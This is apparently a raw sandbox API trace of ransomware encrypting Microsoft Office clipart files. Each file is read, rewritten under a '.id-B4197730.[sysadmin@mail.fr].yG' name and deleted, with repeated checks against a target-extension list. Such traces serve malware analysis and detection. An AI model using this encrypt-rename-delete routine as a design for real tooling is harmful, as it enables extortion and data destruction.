	[0150.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1
	[0150.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.033] lstrlenW (lpString=".doc") returned 4
	[0150.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.033] lstrlenW (lpString=".docx") returned 5
	[0150.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.033] lstrlenW (lpString=".pdf") returned 4
	[0150.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.033] lstrlenW (lpString=".xls") returned 4
	[0150.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.033] lstrlenW (lpString=".xlsx") returned 5
	[0150.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.033] lstrlenW (lpString=".ppt") returned 4
	[0150.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.033] lstrlenW (lpString=".zip") returned 4
	[0150.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.033] lstrlenW (lpString=".rar") returned 4
	[0150.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.033] lstrlenW (lpString=".bz2") returned 4
	[0150.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.033] lstrlenW (lpString=".7z") returned 3
	[0150.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.033] lstrlenW (lpString=".dbf") returned 4
	[0150.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.033] lstrlenW (lpString=".1cd") returned 4
	[0150.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.034] lstrlenW (lpString=".jpg") returned 4
	[0150.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.034] lstrlenW (lpString=".doc") returned 4
	[0150.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString=".docx") returned 5
	[0150.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.034] lstrlenW (lpString=".pdf") returned 4
	[0150.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString=".xls") returned 4
	[0150.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.034] lstrlenW (lpString=".xlsx") returned 5
	[0150.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.034] lstrlenW (lpString=".ppt") returned 4
	[0150.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.034] lstrlenW (lpString=".zip") returned 4
	[0150.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.034] lstrlenW (lpString=".rar") returned 4
	[0150.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString=".bz2") returned 4
	[0150.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.034] lstrlenW (lpString=".7z") returned 3
	[0150.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.035] lstrlenW (lpString=".dbf") returned 4
	[0150.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.035] lstrlenW (lpString=".1cd") returned 4
	[0150.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0150.035] lstrlenW (lpString=".jpg") returned 4
	[0150.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.035] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.035] lstrlenW (lpString="HH00526_.WMF") returned 12
	[0150.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.036] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=13538) returned 1
	[0150.036] CloseHandle (hObject=0x51c) returned 1
	[0150.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220
	[0150.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.037] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.037] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.038] GetLastError () returned 0x0
	[0150.038] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x34e2, lpOverlapped=0x0) returned 1
	[0150.057] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x34f0, lpOverlapped=0x0) returned 1
	[0150.058] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.058] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.058] SetEndOfFile (hFile=0x530) returned 1
	[0150.058] CloseHandle (hObject=0x530) returned 1
	[0150.059] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.059] SetEndOfFile (hFile=0x51c) returned 1
	[0150.062] CloseHandle (hObject=0x51c) returned 1
	[0150.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1
	[0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.063] lstrlenW (lpString=".doc") returned 4
	[0150.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.063] lstrlenW (lpString=".docx") returned 5
	[0150.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.063] lstrlenW (lpString=".pdf") returned 4
	[0150.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.063] lstrlenW (lpString=".xls") returned 4
	[0150.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.063] lstrlenW (lpString=".xlsx") returned 5
	[0150.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.064] lstrlenW (lpString=".ppt") returned 4
	[0150.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.064] lstrlenW (lpString=".zip") returned 4
	[0150.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.064] lstrlenW (lpString=".rar") returned 4
	[0150.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.064] lstrlenW (lpString=".bz2") returned 4
	[0150.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.064] lstrlenW (lpString=".7z") returned 3
	[0150.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.064] lstrlenW (lpString=".dbf") returned 4
	[0150.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.064] lstrlenW (lpString=".1cd") returned 4
	[0150.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.064] lstrlenW (lpString=".jpg") returned 4
	[0150.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.064] lstrlenW (lpString=".doc") returned 4
	[0150.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.065] lstrlenW (lpString=".docx") returned 5
	[0150.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.065] lstrlenW (lpString=".pdf") returned 4
	[0150.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.065] lstrlenW (lpString=".xls") returned 4
	[0150.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.065] lstrlenW (lpString=".xlsx") returned 5
	[0150.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.065] lstrlenW (lpString=".ppt") returned 4
	[0150.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.065] lstrlenW (lpString=".zip") returned 4
	[0150.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.065] lstrlenW (lpString=".rar") returned 4
	[0150.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.065] lstrlenW (lpString=".bz2") returned 4
	[0150.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.065] lstrlenW (lpString=".7z") returned 3
	[0150.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.065] lstrlenW (lpString=".dbf") returned 4
	[0150.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.065] lstrlenW (lpString=".1cd") returned 4
	[0150.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0150.066] lstrlenW (lpString=".jpg") returned 4
	[0150.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.066] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.066] lstrlenW (lpString="HH00546_.WMF") returned 12
	[0150.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.067] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3718) returned 1
	[0150.067] CloseHandle (hObject=0x51c) returned 1
	[0150.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220
	[0150.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.067] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.068] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.068] GetLastError () returned 0x0
	[0150.069] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xe86, lpOverlapped=0x0) returned 1
	[0150.070] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0150.072] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.072] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.072] SetEndOfFile (hFile=0x530) returned 1
	[0150.072] CloseHandle (hObject=0x530) returned 1
	[0150.072] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.072] SetEndOfFile (hFile=0x51c) returned 1
	[0150.075] CloseHandle (hObject=0x51c) returned 1
	[0150.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1
	[0150.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.076] lstrlenW (lpString=".doc") returned 4
	[0150.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString=".docx") returned 5
	[0150.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.077] lstrlenW (lpString=".pdf") returned 4
	[0150.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString=".xls") returned 4
	[0150.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.077] lstrlenW (lpString=".xlsx") returned 5
	[0150.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.077] lstrlenW (lpString=".ppt") returned 4
	[0150.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.077] lstrlenW (lpString=".zip") returned 4
	[0150.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.077] lstrlenW (lpString=".rar") returned 4
	[0150.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString=".bz2") returned 4
	[0150.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString=".7z") returned 3
	[0150.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.077] lstrlenW (lpString=".dbf") returned 4
	[0150.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.077] lstrlenW (lpString=".1cd") returned 4
	[0150.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.077] lstrlenW (lpString=".jpg") returned 4
	[0150.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.078] lstrlenW (lpString=".doc") returned 4
	[0150.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.078] lstrlenW (lpString=".docx") returned 5
	[0150.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.078] lstrlenW (lpString=".pdf") returned 4
	[0150.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.078] lstrlenW (lpString=".xls") returned 4
	[0150.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.078] lstrlenW (lpString=".xlsx") returned 5
	[0150.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.078] lstrlenW (lpString=".ppt") returned 4
	[0150.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.078] lstrlenW (lpString=".zip") returned 4
	[0150.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.078] lstrlenW (lpString=".rar") returned 4
	[0150.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.078] lstrlenW (lpString=".bz2") returned 4
	[0150.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.078] lstrlenW (lpString=".7z") returned 3
	[0150.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.078] lstrlenW (lpString=".dbf") returned 4
	[0150.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.079] lstrlenW (lpString=".1cd") returned 4
	[0150.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0150.079] lstrlenW (lpString=".jpg") returned 4
	[0150.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.079] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.079] lstrlenW (lpString="HH00601_.WMF") returned 12
	[0150.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.080] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=1468) returned 1
	[0150.080] CloseHandle (hObject=0x51c) returned 1
	[0150.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220
	[0150.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.081] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.081] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.082] GetLastError () returned 0x0
	[0150.082] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x5bc, lpOverlapped=0x0) returned 1
	[0150.259] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0150.261] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.262] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.262] SetEndOfFile (hFile=0x530) returned 1
	[0150.262] CloseHandle (hObject=0x530) returned 1
